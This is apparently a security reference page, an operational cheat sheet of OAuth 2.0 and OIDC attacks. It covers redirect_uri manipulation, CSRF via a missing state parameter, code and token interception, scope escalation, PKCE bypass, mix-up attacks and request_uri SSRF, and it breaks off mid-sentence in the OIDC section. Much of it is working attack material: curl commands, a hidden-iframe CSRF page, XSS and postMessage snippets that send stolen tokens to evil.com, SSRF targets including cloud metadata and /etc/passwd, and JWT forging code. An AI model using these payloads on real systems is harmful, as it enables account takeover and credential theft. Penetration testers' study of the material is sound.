ᛉ Yggdrasil

Web

OAuth Attacks

15 Sep 2026 · 7,098 words · 32 min

Contents

A complete operational reference for OAuth 2.0 Attacks covering the authorization code flow, implicit flow, PKCE, redirect_uri manipulation, state parameter bypass, CSRF, token leakage, open redirects, scope abuse, token theft via referrer/logs, authorization code interception, PKCE downgrade, mix-up attacks, SSRF via request_uri, OAuth in SSO/OIDC flows, provider misconfiguration, and automation with tooling. Mapped to MITRE ATT&CK T1550 / T1190 / T1528.


1. Core Concepts & OAuth Flows

OAUTH 2.0 ATTACK TAXONOMY:

OAUTH 2.0 ATTACKS
├── REDIRECT-BASED ATTACKS
│   ├── redirect_uri manipulation — steal code/token by hijacking redirect target
│   ├── Open redirect chaining — bypass whitelist via open redirect on allowed domain
│   └── Fragment injection — force token into URL fragment on attacker page
│
├── CSRF / STATE ATTACKS
│   ├── Missing state parameter — force victim to authorize attacker's account link
│   ├── Predictable/static state — guess and replay to hijack auth flow
│   └── Login CSRF — force victim to log in as attacker (account takeover via link)
│
├── TOKEN / CODE THEFT
│   ├── Authorization code interception — steal code before it's exchanged
│   ├── Token leakage via Referrer header — token in URL sent in Referer to third-party
│   ├── Token leakage via logs — access/refresh tokens written to server/proxy logs
│   ├── Browser history leakage — implicit flow tokens in URL fragment cached in history
│   └── Postmessage origin confusion — token sent via postMessage without origin check
│
├── SCOPE / PRIVILEGE ATTACKS
│   ├── Scope escalation — add extra scopes to authorization request
│   ├── Scope upgrade on refresh — exchange narrow-scope token for broader one
│   └── Downscoped token abuse — use narrow token across broader-than-expected endpoints
│
├── PKCE ATTACKS
│   ├── PKCE downgrade — force server to accept request without PKCE
│   ├── code_challenge bypass — server doesn't validate verifier against challenge
│   └── Weak code_verifier — short/low-entropy verifier bruteforceable offline
│
├── PROTOCOL-LEVEL ATTACKS
│   ├── Mix-up attack — confuse client about which provider issued a code/token
│   ├── request_uri SSRF — provider fetches attacker-controlled URL as request object
│   └── JWT-secured authorization request (JAR) abuse
│
└── MISCONFIGURATION ATTACKS
    ├── Wildcard / loose redirect_uri matching — *.example.com or path traversal
    ├── Client secret leakage — secret hardcoded in JS, mobile APK, or GitHub
    ├── Refresh token non-expiry — persistent access after password change/logout
    └── Public client acting as confidential — no PKCE, no secret = code interception

Key Terms: - OAuth 2.0 — authorization framework (RFC 6749). Delegates access without sharing credentials. NOT authentication by itself. - OIDC (OpenID Connect) — authentication layer on top of OAuth 2.0. Adds id_token (JWT), userinfo endpoint, and nonce. - Authorization Server (AS) — issues tokens. Google, GitHub, Okta, Azure AD, Keycloak, etc. - Resource Server (RS) — API that accepts access tokens. Validates with AS or locally (JWT). - Client — the application requesting access. Confidential (has secret, server-side) or Public (no secret, SPA/mobile). - Resource Owner — the end user who grants permissions. - Authorization Code — short-lived one-time code returned to redirect_uri, exchanged for tokens at the token endpoint. Never touches the browser for long. - Access Token — credential for API access. Usually short-lived (minutes–hours). Bearer: whoever holds it, uses it. - Refresh Token — long-lived credential to get new access tokens without re-auth. High-value target. - id_token — JWT issued by OIDC server proving user identity. Contains sub, iss, aud, exp, nonce. - redirect_uri — URL the AS sends code/token to after authorization. MUST match registered value exactly. - state — opaque CSRF token tied to the authorization request. Server must validate it matches on callback. - nonce — random value embedded in id_token to prevent replay. Client must verify it matches. - PKCE (Proof Key for Code Exchange) — RFC 7636. Public clients send code_challenge (hash of code_verifier); AS validates on token exchange. Prevents code interception. - scope — permissions requested (openid profile email read:data write:admin). Server may grant fewer than requested. - client_id — public identifier for the client app. NOT a secret. - client_secret — confidential credential for the client. Must never appear in JS/mobile code. - Bearer Token — token used as-is in Authorization: Bearer <token>. No proof of possession.

OAuth 2.0 Grant Types (Flows):

GRANT TYPE           WHO USES IT               TOKENS RETURNED       NOTES
─────────────────────────────────────────────────────────────────────────────────────
Authorization Code   Confidential clients       Code → tokens         Most secure; PKCE required for public
+ PKCE               Public clients (SPA,mob)   Code → tokens         Current best practice for SPAs/mobile
Implicit             Legacy SPA (deprecated)    Token in fragment     Token exposed in URL — AVOID
Client Credentials   Machine-to-machine         Access token          No user involved; server-to-server
Device Code          TV/IoT (no browser)        Access token          User confirms on second device
Resource Owner PW    Legacy/trusted apps        Tokens directly       Password shared with client — AVOID

Authorization Code Flow — Normal:

1. User clicks "Login with X"
2. Client redirects to AS:
   GET /authorize?
     response_type=code
     &client_id=CLIENT_ID
     &redirect_uri=https://app.com/callback
     &scope=openid profile email
     &state=RANDOM_CSRF_TOKEN

3. AS authenticates user, user consents
4. AS redirects back:
   GET https://app.com/callback?code=AUTH_CODE&state=RANDOM_CSRF_TOKEN

5. Client validates state matches stored value
6. Client exchanges code for tokens (server-side):
   POST /token
     grant_type=authorization_code
     &code=AUTH_CODE
     &redirect_uri=https://app.com/callback
     &client_id=CLIENT_ID
     &client_secret=SECRET    (confidential client)
     &code_verifier=VERIFIER  (PKCE public client)

7. AS returns: { "access_token": "...", "refresh_token": "...", "id_token": "..." }
8. Client uses access_token to call resource server API

Why OAuth Gets Attacked:

ATTACK SURFACE:
→ redirect_uri is attacker-controlled if validation is loose
→ state parameter is missing, static, or not validated → CSRF
→ authorization code leaks via Referer, logs, or open redirect before exchange
→ access token in URL (implicit flow) leaks via Referer, history, XSS
→ client_secret exposed in JS bundle, APK, GitHub → attacker impersonates client
→ PKCE not enforced → code can be exchanged without verifier
→ scope parameter not validated → attacker requests admin scope
→ mix-up: client uses code issued by malicious AS with legitimate RS

2. Detection & Recon

2.1 Identifying OAuth in the Wild

# Signs of OAuth in an application:
→ "Login with Google / GitHub / Facebook / Microsoft" buttons
→ Redirects to accounts.google.com, github.com/login/oauth, login.microsoftonline.com
→ URL parameters: response_type=code, client_id=, redirect_uri=, scope=, state=
→ Callback endpoints: /callback, /oauth/callback, /auth/callback, /login/callback
→ Tokens in cookies or localStorage: access_token, refresh_token, id_token
→ Authorization: Bearer <token> in API requests (intercept with Burp)
→ /.well-known/openid-configuration — OIDC discovery document
→ /.well-known/oauth-authorization-server — OAuth 2.0 server metadata (RFC 8414)

2.2 OIDC Discovery — Extract All Endpoints

# Fetch discovery document (OIDC providers):
curl -s https://accounts.google.com/.well-known/openid-configuration | jq .
curl -s https://login.microsoftonline.com/common/v2.0/.well-known/openid-configuration | jq .
curl -s https://TARGET/.well-known/openid-configuration | jq .

# Key fields to extract:
{
  "issuer": "https://as.target.com",
  "authorization_endpoint": "https://as.target.com/oauth/authorize",   ← fuzz here
  "token_endpoint": "https://as.target.com/oauth/token",               ← fuzz here
  "jwks_uri": "https://as.target.com/.well-known/jwks.json",           ← key confusion
  "userinfo_endpoint": "https://as.target.com/userinfo",
  "registration_endpoint": "https://as.target.com/connect/register",   ← dynamic registration
  "response_types_supported": ["code", "token", "id_token"],           ← implicit still supported?
  "grant_types_supported": ["authorization_code", "implicit", ...],
  "scopes_supported": ["openid", "profile", "email", "admin", ...],    ← enumerate scopes
  "code_challenge_methods_supported": ["S256", "plain"]                ← plain = weak PKCE
}

# OAuth 2.0 server metadata (non-OIDC):
curl -s https://TARGET/.well-known/oauth-authorization-server | jq .

2.3 Recon Checklist

RECON STEPS:
├── Intercept the full auth flow in Burp — capture every request/response
├── Extract: client_id, redirect_uri, scope, state, response_type from authorization request
├── Check if state is present, random, and validated on callback
├── Note the redirect_uri — try path traversal, subdomains, open redirects
├── Check response_type — try adding "token" or "id_token" (implicit leak)
├── Note all scopes — try adding privileged ones (admin, write, offline_access)
├── Check PKCE — is code_challenge present? Try removing it
├── Look for dynamic client registration endpoint — can you register your own redirect_uri?
├── Check token endpoint — can you exchange a code with a different redirect_uri?
├── Search JS bundles for client_secret, access_token, client_id
├── Check GitHub / GitLab for leaked client_secret in commit history
└── Test refresh token — does it expire? Does it get revoked on logout/password change?

2.4 Tools for Recon

# Extract JS bundle secrets:
grep -r "client_secret\|access_token\|refresh_token\|client_id" /path/to/bundle.js

# GitHub dork for leaked secrets:
# site:github.com "client_secret" "oauth"
# site:github.com "GITHUB_CLIENT_SECRET"

# Fetch all OAuth parameters from a live app (Burp Suite):
# Proxy → HTTP history → filter by "oauth" / "authorize" / "callback"
# Capture state, code, redirect_uri, scope from every request

# secretfinder — extract secrets from JS files:
python3 SecretFinder.py -i https://target.com/static/app.js -o cli

# trufflehog — scan for secrets in git repos:
trufflehog git https://github.com/target/repo --only-verified

3. OAuth Attack Decision Tree

Intercept OAuth flow in Burp
│
├── Is state parameter present in /authorize request?
│   ├── NO → CSRF attack possible (Section 5)
│   │   └── Craft malicious link, force victim to link attacker's account
│   └── YES → Is it validated on callback?
│       ├── Change state= to arbitrary value → does it still work?
│       │   ├── YES (not validated) → CSRF attack still possible
│       │   └── NO (validated) → state is solid; move on
│
├── What is the redirect_uri?
│   ├── Try appending path:  redirect_uri=https://app.com/callback/../evil
│   ├── Try subdomain:       redirect_uri=https://evil.app.com/callback
│   ├── Try open redirect:   redirect_uri=https://app.com/logout?next=https://evil.com
│   ├── Try URL encoding:    redirect_uri=https://app.com%2Fevil
│   ├── Try fragment:        redirect_uri=https://app.com/callback#
│   ├── Registered? Try different path on same domain → wildcard match?
│   └── Can you register your own redirect_uri (dynamic registration)?
│       └── YES → register attacker redirect, capture auth code (Section 4)
│
├── Is PKCE used?
│   ├── Remove code_challenge / code_challenge_method → does AS still issue code?
│   │   ├── YES → PKCE not enforced, code interception possible (Section 10)
│   │   └── NO → PKCE enforced; attack token exchange instead
│   └── code_challenge_method=plain? → weak; verify if verifier brute-forceable
│
├── What scopes are requested?
│   ├── Add additional scopes (admin, write, offline_access) → do they get granted?
│   └── Does server grant more scopes than requested? → scope upgrade (Section 9)
│
├── Is response_type=code or token?
│   ├── code → try adding "token" or "id_token" → implicit flow leaks token in URL?
│   └── token (implicit) → token in fragment → Referer leak, history, XSS (Section 13)
│
├── Is there a request_uri parameter?
│   └── Try pointing to Burp Collaborator / SSRF target (Section 12)
│
├── Client secret exposed in JS / APK / GitHub?
│   └── YES → impersonate the client, exchange codes directly (Section 15)
│
└── OIDC / SSO in use?
    ├── Check nonce validation (Section 14)
    ├── Check id_token issuer / audience validation (Section 14)
    └── Token substitution across SSO-connected apps (Section 14)

4. redirect_uri Manipulation

Goal: Redirect the authorization code or access token to an attacker-controlled URL.

4.1 How Validation Can Be Weak

VALIDATION FLAW              EXAMPLE                                    WORKS?
─────────────────────────────────────────────────────────────────────────────────
Exact match (secure)         registered: https://app.com/callback       NO
                             attempted:  https://evil.com               Blocked

Prefix match only            registered: https://app.com                YES
                             attempted:  https://app.com.evil.com       Matches!

Subdomain wildcard           registered: *.app.com                      YES
                             attempted:  https://evil.app.com           Matches!

Path not validated           registered: https://app.com/callback       YES
                             attempted:  https://app.com/evil           Matches!

URL-encoded bypass           registered: https://app.com/callback       YES
                             attempted:  https://app.com%2Fevil         May match!

Fragment injection           registered: https://app.com/callback       YES
                             attempted:  https://app.com/callback#      Code in URL before #

Localhost confusion          registered: http://localhost                YES (dev keys)
                             attempted:  http://localhost/evil

Case insensitive             registered: https://App.com/Callback       sometimes
                             attempted:  https://app.com/callback

4.2 Path Traversal in redirect_uri

# Registered: https://app.com/oauth/callback
# Try traversing out of the registered path:

redirect_uri=https://app.com/oauth/callback/../
redirect_uri=https://app.com/oauth/callback/../../evil
redirect_uri=https://app.com/oauth/callback%2F..%2Fevil
redirect_uri=https://app.com/oauth/callback%2F%2E%2E%2Fevil

# If app has an open redirect at /logout:
redirect_uri=https://app.com/oauth/../logout?next=https://evil.com

# If app has file upload / user content:
redirect_uri=https://app.com/uploads/evil.html

4.3 Subdomain / Domain Confusion

# Common confused patterns:
redirect_uri=https://app.com.evil.com/callback         # prefix match confusion
redirect_uri=https://evil-app.com/callback             # hyphen confusion
redirect_uri=https://evilapp.com/callback              # dot removed
redirect_uri=https://app.com@evil.com/callback         # userinfo bypass
redirect_uri=https://evil.com/app.com/callback         # path confusion

# If wildcard *.app.com registered:
redirect_uri=https://evil.app.com/callback             # attacker registers subdomain
redirect_uri=https://xss.app.com/callback              # XSS host

4.4 Exploit — Capture the Code

# Step 1: Set up listener on attacker server (or use Burp Collaborator):
nc -lvnp 80    # or use ngrok / Burp Collaborator

# Step 2: Craft the malicious authorization URL with manipulated redirect_uri:
https://as.target.com/oauth/authorize?
  response_type=code
  &client_id=CLIENT_ID
  &redirect_uri=https://ATTACKER.COM/callback    ← your server
  &scope=openid profile email
  &state=xyz

# Step 3: Trick victim into clicking the link (phishing, XSS, CSRF)
# Step 4: Victim authorizes → AS redirects to your server with:
GET /callback?code=AUTH_CODE&state=xyz   ← you receive the code

# Step 5: Exchange code for tokens (you need client_secret for confidential clients):
curl -X POST https://as.target.com/oauth/token \
  -d "grant_type=authorization_code" \
  -d "code=AUTH_CODE" \
  -d "redirect_uri=https://ATTACKER.COM/callback" \
  -d "client_id=CLIENT_ID" \
  -d "client_secret=SECRET"    # only works if you have the secret

4.5 Dynamic Client Registration Abuse

# Some AS allow anyone to register an OAuth client:
# RFC 7591 — OAuth 2.0 Dynamic Client Registration

# Check if registration endpoint exists:
curl https://as.target.com/connect/register

# Register attacker client with arbitrary redirect_uri:
curl -X POST https://as.target.com/connect/register \
  -H "Content-Type: application/json" \
  -d '{
    "client_name": "Evil App",
    "redirect_uris": ["https://evil.com/callback"],
    "grant_types": ["authorization_code"],
    "response_types": ["code"],
    "scope": "openid profile email admin"
  }'

# Response includes your new client_id and client_secret
# Now craft authorization requests as this client — full control of redirect_uri

5. State Parameter Bypass — CSRF on OAuth

Goal: Force a victim user to link/authorize the attacker's account to the victim's application session (account takeover or forced linking).

5.1 What the State Parameter Does

NORMAL FLOW:
1. Client generates state = random_token_32bytes
2. Stores state in session: session["oauth_state"] = state
3. Sends state in /authorize request
4. AS echoes state back on callback: /callback?code=X&state=random_token_32bytes
5. Client compares: if state != session["oauth_state"] → REJECT

WITHOUT STATE (or unvalidated):
1. Attacker crafts a /authorize URL for their OWN account
2. Intercepts the callback redirect BEFORE it loads (via Burp, or drops connection)
3. Captures the callback URL: /callback?code=ATTACKER_CODE&state=...
4. Delivers this URL to the VICTIM (via iframe, img tag, XSS)
5. Victim's browser loads the callback URL → victim's session exchanges the code
6. Victim's account is now linked to ATTACKER's OAuth account
→ Attacker logs in with their OAuth account → into victim's application account

5.2 Testing State Validation

# Test 1 — Is state present?
# Intercept /authorize request → is state= in the URL?
# If absent → definitely vulnerable

# Test 2 — Is it validated?
# Complete a normal auth flow, capture callback:
GET /callback?code=CODE&state=abc123

# Replay with different state:
GET /callback?code=CODE&state=AAAAAAA

# If it works → state not validated → CSRF possible

# Test 3 — Is state predictable?
# Capture multiple states from different sessions:
state=1234  (sequential)
state=timestamp  (time-based)
state=sessionid  (derivable)
# Predictable → can pre-generate attacker auth URLs

# Test 4 — Drop the state entirely:
GET /callback?code=CODE
# If accepted → no state check at all

5.3 CSRF Attack — Account Takeover via Forced Linking

<!-- Attacker sets up their account, initiates auth flow, captures callback URL -->
<!-- Drops the request before it loads (intercept and don't forward) -->
<!-- Callback URL: https://app.com/callback?code=ATTACKER_CODE&state=xyz -->

<!-- Step 1: Attacker hosts a page that triggers the victim to load the callback: -->
<html>
  <body>
    <!-- Simple CSRF via image tag (GET request): -->
    <img src="https://app.com/callback?code=ATTACKER_CODE&state=xyz" style="display:none">

    <!-- Or iframe: -->
    <iframe src="https://app.com/callback?code=ATTACKER_CODE&state=xyz" style="display:none"></iframe>
  </body>
</html>

<!-- Step 2: Victim visits attacker's page while logged into app.com -->
<!-- Step 3: Victim's browser loads the callback URL with ATTACKER's code -->
<!-- Step 4: app.com links ATTACKER's OAuth identity to VICTIM's account -->
<!-- Step 5: Attacker logs in via OAuth → lands in victim's account -->

5.4 Login CSRF — Force Login as Attacker

Scenario: App links OAuth to existing accounts based on email from OAuth provider.
Attacker can force victim to be "logged in" as the attacker:
1. Attacker initiates OAuth flow with attacker's OAuth account
2. Captures callback URL before it's consumed
3. Sends callback URL to victim → victim's browser executes it
4. App logs victim in as attacker's account
5. Victim unknowingly performs actions on attacker's behalf (purchases, data entry, etc.)

6. Authorization Code Interception

Goal: Steal the authorization code between the AS redirect and the client's callback handler before it can be exchanged.

6.1 Code Leakage via Referrer Header

SCENARIO:
1. AS redirects: https://app.com/callback?code=AUTH_CODE&state=xyz
2. /callback page loads third-party resources (analytics, ads, fonts, CDN)
3. Browser sends: Referer: https://app.com/callback?code=AUTH_CODE&state=xyz
4. Third-party receives the code in the Referer header
5. If code is still valid (not yet exchanged or expires in seconds but race is possible):
   → Third party (or attacker who compromised third party) exchanges code

# Check for third-party resources on /callback:
# Look in Burp for requests from /callback to:
# → Google Analytics, Mixpanel, Segment, Intercom, Hotjar
# → CDN fonts, scripts from external domains
# → Any URL that receives a Referer containing "code="

6.2 Code Interception via Open Redirect (Chained)

Registered redirect_uri: https://app.com/callback
App has an open redirect at:  https://app.com/go?url=https://evil.com

Attack:
1. Use redirect_uri=https://app.com/go?url=https://evil.com (if path-prefixed validation)
2. AS redirects to:  https://app.com/go?url=https://evil.com?code=AUTH_CODE
3. /go open redirect → 302 to https://evil.com?code=AUTH_CODE
4. Attacker server logs the code in the query string

OR (fragment injection trick):
redirect_uri=https://app.com/callback?...#https://evil.com
→ Fragment routes to evil.com page that reads window.location

6.3 Code Interception — Race Condition

# Authorization codes are short-lived (typically 60–600 seconds)
# If code is leaked (via logs, Referer, URL history):
# Race to exchange it before the legitimate client does

# Exchange the intercepted code manually:
curl -X POST https://as.target.com/oauth/token \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "grant_type=authorization_code" \
  -d "code=INTERCEPTED_CODE" \
  -d "redirect_uri=https://app.com/callback" \
  -d "client_id=CLIENT_ID"
  # No client_secret needed if public client (SPA/mobile)

# If server doesn't detect double-exchange → code reuse vulnerability
# RFC 6749 §4.1.2: codes MUST be one-time use; double exchange = revoke ALL tokens

7. Token Leakage — Referrer, Logs & Browser History

7.1 Access Token in URL (Implicit Flow)

IMPLICIT FLOW (deprecated but common in legacy apps):
→ response_type=token → AS returns access_token in URL FRAGMENT:
  https://app.com/callback#access_token=TOKEN&token_type=bearer&expires_in=3600

LEAKAGE VECTORS:
→ Fragment visible in browser history → stolen if device is shared / compromised
→ JS on the page (including third-party) can read window.location.hash
→ If page redirects after processing: fragment may be passed along
→ Server-side logging of /callback URL: fragment NOT sent to server (mitigates one path)
  but some proxy/WAF configs DO log fragments → token in proxy logs

ATTACK:
1. Find an app using implicit flow (response_type=token)
2. Check if there's XSS anywhere on the /callback page or its dependencies
   → XSS + window.location.hash.split('access_token=')[1] → steal token
3. Check if the page loads cross-origin scripts before processing the fragment
   → Third-party JS reads location.hash before page clears it

7.2 Token in Referrer Header

# When response_type=code: code appears in /callback?code=X (query string)
# Browser sends it in Referer to resources loaded by /callback page

# Vulnerable pattern:
GET /callback?code=AUTH_CODE HTTP/1.1
Host: app.com
# Page loads: <img src="https://analytics.example.com/pixel.gif">
# → Browser sends: GET /pixel.gif HTTP/1.1
#                  Referer: https://app.com/callback?code=AUTH_CODE

# Check all requests made by /callback page in Burp:
# Proxy → HTTP History → filter by Referer containing "code=" or "token="

# Test fix: /callback should exchange code BEFORE returning any HTML with resources
# Or use Referrer-Policy: no-referrer on the callback page

7.3 Token Leakage via Server Logs

# Access tokens in Authorization headers → NOT in logs normally
# But access tokens in query strings (poor API design) → in access logs:
GET /api/data?access_token=TOKEN HTTP/1.1   ← logged by every proxy/nginx/CDN

# Check API endpoints for token-in-URL pattern:
GET /api/user?token=
GET /resource?access_token=
GET /export?auth=

# Logs to target in a pentest:
/var/log/nginx/access.log
/var/log/apache2/access.log
AWS CloudFront / ALB access logs
Splunk / ELK security logs
Burp upstream proxy logs

8. Open Redirect Chaining

Goal: Bypass redirect_uri whitelist by using an open redirect on a whitelisted domain.

8.1 Finding Open Redirects on the Client Domain

# Common open redirect patterns to probe:
https://app.com/logout?next=https://evil.com
https://app.com/redirect?url=https://evil.com
https://app.com/go?to=https://evil.com
https://app.com/exit?returnTo=https://evil.com
https://app.com/login?returnUrl=https://evil.com
https://app.com/saml/acs?RelayState=https://evil.com

# Test each with Burp Repeater — look for 302/301 to attacker domain

# Fuzz common redirect parameter names:
for param in next url redirect return returnUrl to goto target dest destination location; do
  curl -sI "https://app.com/?$param=https://evil.com" | grep -i "location:"
done

8.2 Chain Open Redirect → Code Theft

1. Find open redirect on whitelisted domain:
   https://app.com/logout?next=https://evil.com → 302 to https://evil.com

2. Use as redirect_uri in OAuth request:
   redirect_uri=https://app.com/logout?next=https://evil.com

3. AS validates redirect_uri → domain app.com matches → ACCEPTED

4. After user authorizes, AS redirects to:
   https://app.com/logout?next=https://evil.com?code=AUTH_CODE&state=xyz

5. /logout open redirect sends:
   302 Location: https://evil.com?code=AUTH_CODE&state=xyz

6. Attacker server receives the code in query string → exchanges for tokens

8.3 Fragment-Based Open Redirect

Some open redirects only redirect to fragment, not full URL.
AS appends code as query string, but after the fragment marker '#':

redirect_uri=https://app.com/callback#https://evil.com
→ AS returns: https://app.com/callback#https://evil.com?code=AUTH_CODE

This can be consumed by JS on the page if there's a client-side redirect that
processes window.location.hash and navigates there.

Also: if redirect_uri validation only checks before '#':
redirect_uri=https://app.com/callback#@evil.com
→ Browsers may strip the fragment and redirect to evil.com with code
(browser-specific behavior — test in Chrome vs Firefox)

9. Scope Abuse & Privilege Escalation

9.1 Adding Undocumented Scopes

# Normal authorization request:
GET /authorize?response_type=code&client_id=CLIENT_ID
  &scope=openid+profile+email
  &redirect_uri=https://app.com/callback&state=xyz

# Add privileged scopes and see if they're granted:
scope=openid+profile+email+admin
scope=openid+profile+email+write:admin
scope=openid+profile+email+offline_access       # get refresh token
scope=openid+profile+email+https://api.target.com/admin
scope=openid+profile+email+urn:target:scope:admin

# Check granted scopes in token response:
# Look at "scope" field in token response
# Decode access_token (if JWT) and check "scp" or "scope" claim
# Check what APIs become accessible with the wider-scope token

9.2 Scope Upgrade via Refresh Token

# Exchange refresh token and request broader scope:
curl -X POST https://as.target.com/oauth/token \
  -d "grant_type=refresh_token" \
  -d "refresh_token=REFRESH_TOKEN" \
  -d "client_id=CLIENT_ID" \
  -d "scope=openid profile email admin write"    ← try adding scopes

# RFC 6749 says server MUST NOT grant more than originally authorized
# But some servers fail to enforce this → new access token with broader scope

9.3 Scope Downgrade Bypass

# Some APIs check scope on authorization but not on resource access:
# Get token with narrow scope → use it to access wider resources

# Get read-only token:
scope=read:data

# Try it against write endpoints:
curl -H "Authorization: Bearer READ_ONLY_TOKEN" \
  -X POST https://api.target.com/admin/users \
  -d '{"username":"attacker","role":"admin"}'

# If resource server doesn't validate scope → privilege escalation

10. PKCE Downgrade & Bypass

PKCE (Proof Key for Code Exchange) — RFC 7636:

NORMAL PKCE FLOW:
1. Client generates: code_verifier = random_string(43–128 chars, high entropy)
2. Client computes:  code_challenge = base64url(SHA256(code_verifier))
3. Client sends in /authorize:
   code_challenge=BASE64URL_SHA256_VERIFIER
   code_challenge_method=S256
4. AS stores code_challenge alongside the code
5. Client sends code_verifier in /token exchange:
   code_verifier=RANDOM_STRING
6. AS computes SHA256(code_verifier) → must match stored code_challenge

ATTACK GOAL: make AS skip the verification step

10.1 PKCE Not Enforced

# Test: send /authorize WITHOUT code_challenge — does AS still issue a code?
GET /authorize?
  response_type=code
  &client_id=CLIENT_ID
  &redirect_uri=https://app.com/callback
  &scope=openid
  &state=xyz
  # ← NO code_challenge or code_challenge_method

# If code is returned → PKCE not required
# Can now exchange code without code_verifier:
curl -X POST https://as.target.com/oauth/token \
  -d "grant_type=authorization_code" \
  -d "code=AUTH_CODE" \
  -d "redirect_uri=https://app.com/callback" \
  -d "client_id=CLIENT_ID"
  # NO code_verifier needed

10.2 code_verifier Not Validated

# Test: send /authorize WITH code_challenge, then exchange with WRONG verifier:
# Step 1 — Normal /authorize with PKCE:
code_verifier=dBjftJeZ4CVP-mB92K27uhbUJU1p1r_wW1gFWFOEjXk
code_challenge=E9Melhoa2OwvFrEMTJguCHaoeK1t8URWbuGJSstw-cM   # SHA256 of verifier
code_challenge_method=S256

# Step 2 — Exchange with WRONG verifier:
curl -X POST https://as.target.com/oauth/token \
  -d "grant_type=authorization_code" \
  -d "code=AUTH_CODE" \
  -d "redirect_uri=https://app.com/callback" \
  -d "client_id=CLIENT_ID" \
  -d "code_verifier=WRONG_VERIFIER"     ← wrong value

# If tokens returned → AS not validating verifier against challenge

10.3 Plain code_challenge_method

# method=plain means: code_challenge = code_verifier (no hash)
# Significantly weaker — verifier is transmitted in the code exchange

GET /authorize?...&code_challenge=PLAIN_VERIFIER&code_challenge_method=plain

# If AS accepts plain method:
# Anyone who intercepts the /token request gets the verifier (== challenge)
# They can replay the code exchange before the legitimate client

11. OAuth Mix-Up Attacks

Goal: Confuse the client into sending an authorization code or token issued by one provider to a malicious or different provider.

11.1 Classic Mix-Up

SCENARIO:
- App supports multiple OAuth providers: Provider A (legitimate) + Provider B (attacker-controlled)
- Attacker controls Provider B or intercepts traffic

ATTACK:
1. Victim initiates login with Provider A
2. Attacker intercepts or manipulates the /authorize redirect
3. Victim is redirected to Provider B (attacker's AS) instead
4. Provider B issues a code/token
5. Client receives code thinking it came from Provider A
6. Client sends code to Provider A's /token endpoint with Provider A's client_secret
7. If Provider A's /token accepts it and responds → attacker has a valid session
   OR
8. Client sends code to Provider B's /token endpoint (confused about which to use)
   → Attacker's AS sees client_secret, exchanges code for session on real Provider A

MITIGATION: Client must bind callback to specific provider (via state or issuer tracking)

11.2 AS Mix-Up via Malicious Metadata

# If client fetches AS metadata dynamically based on user-provided issuer:
# e.g., "Login with any OIDC provider" → user provides issuer URL

# Attacker provides a malicious issuer that returns:
# → legitimate authorization_endpoint (sends user to real Provider A)
# → attacker's token_endpoint (client sends code + secret HERE)

# Malicious discovery document:
{
  "issuer": "https://evil.com",
  "authorization_endpoint": "https://accounts.google.com/o/oauth2/auth",  ← real Google
  "token_endpoint": "https://evil.com/token",     ← attacker captures client_secret + code
  "jwks_uri": "https://evil.com/jwks"
}

12. SSRF via request_uri

Goal: Make the Authorization Server fetch an attacker-controlled URL as a JWT Request Object (JAR — RFC 9101).

12.1 request_uri Parameter

# JAR (JWT-Secured Authorization Requests) allows client to pass authorization
# parameters as a JWT fetched from a URL:

GET /authorize?
  client_id=CLIENT_ID
  &request_uri=https://client.com/request.jwt    ← AS fetches this URL

# Attacker substitutes their URL:
GET /authorize?
  client_id=CLIENT_ID
  &request_uri=https://ATTACKER.COM/evil.jwt     ← AS fetches attacker's URL

# OR internal targets (SSRF):
&request_uri=http://169.254.169.254/latest/meta-data/    # AWS IMDS
&request_uri=http://internal-api.corp/admin
&request_uri=file:///etc/passwd                           # file: scheme (rare)
&request_uri=http://localhost:8080/admin

# Observe if AS makes outbound HTTP request (Burp Collaborator):
&request_uri=http://BURP_COLLABORATOR.com/

12.2 request_uri SSRF Escalation

# If AS fetches the request_uri and executes it as a JWT request object:
# Attacker serves a valid JWT Request Object with manipulated parameters:
{
  "response_type": "code",
  "client_id": "CLIENT_ID",
  "redirect_uri": "https://evil.com/callback",   ← override redirect_uri
  "scope": "openid profile email admin",         ← request admin scope
  "state": "xyz"
}

# Sign JWT with any key if AS doesn't validate request_uri JWT signature:
python3 -c "
import jwt, json
payload = {'response_type':'code','client_id':'CLIENT_ID',
           'redirect_uri':'https://evil.com/callback','scope':'openid admin'}
print(jwt.encode(payload, 'secret', algorithm='HS256'))
"
# Host on attacker server → point request_uri to it

13. Implicit Flow Token Theft

The Implicit Flow is deprecated (OAuth 2.1 removes it) but still common in legacy apps.

13.1 Token in URL Fragment

# Implicit flow response:
# AS redirects: https://app.com/callback#access_token=TOKEN&expires_in=3600

# Leakage via XSS:
<script>
  var token = window.location.hash.split('access_token=')[1].split('&')[0];
  fetch('https://evil.com/steal?t=' + token);
</script>

# Leakage via postMessage without origin check:
# App processes fragment and postMessages token to parent/opener:
window.opener.postMessage({token: access_token}, '*');   ← no origin restriction
# Attacker's page as opener:
window.addEventListener('message', function(e) {
  fetch('https://evil.com/steal?t=' + e.data.token);
});

# Force implicit flow if server supports it:
# Change response_type=code to response_type=token
GET /authorize?response_type=token&client_id=CLIENT_ID&redirect_uri=...&scope=openid

# Or hybrid: response_type=code+token → get both in response

13.2 Token Theft via Redirect After Fragment

# If /callback page redirects (e.g. to /dashboard) and the fragment is passed:
# https://app.com/callback#access_token=TOKEN → 302 → /dashboard#access_token=TOKEN
# Some frameworks pass fragment through redirects → token now in /dashboard URL
# /dashboard may load more third-party scripts → token in their Referer

# Test: complete implicit flow, observe if token appears in Referer of subsequent requests

14. OAuth in OIDC / SSO Flows

14.1 nonce Validation Bypass

# nonce: random value sent in /authorize, embedded in id_token by AS
# Client MUST verify: id_token.nonce == session["nonce"]
# Prevents replay attacks — attacker can't reuse a valid id_token from another session

# Test 1 — Is nonce present in /authorize?
GET /authorize?...&nonce=RANDOM_VALUE
# If absent → likely not validated

# Test 2 — Replay id_token with old nonce:
# Capture a valid id_token from a previous session
# Submit it to the callback endpoint of a NEW session
# If accepted → nonce not validated → token replay possible

# Test 3 — Submit id_token with empty nonce:
# Forge id_token (if weak secret / none alg) with nonce="" or nonce absent
# If accepted → nonce check missing

14.2 id_token Issuer / Audience Bypass

# id_token claims that MUST be validated:
{
  "iss": "https://accounts.google.com",   ← must match expected issuer
  "aud": "CLIENT_ID",                     ← must match our client_id
  "sub": "1234567890",
  "exp": 1716239022,                      ← must not be expired
  "nonce": "abc123"                       ← must match session nonce
}

# Attack: Submit id_token from a DIFFERENT app's OAuth flow:
# If app doesn't check "aud" → id_token meant for another client works
# Get id_token from your own registered app (same Google tenant)
# Submit to target app's callback → logs you in if aud not validated

# Attack: Submit id_token with wrong issuer:
# Forge id_token (alg:none or weak key) with:
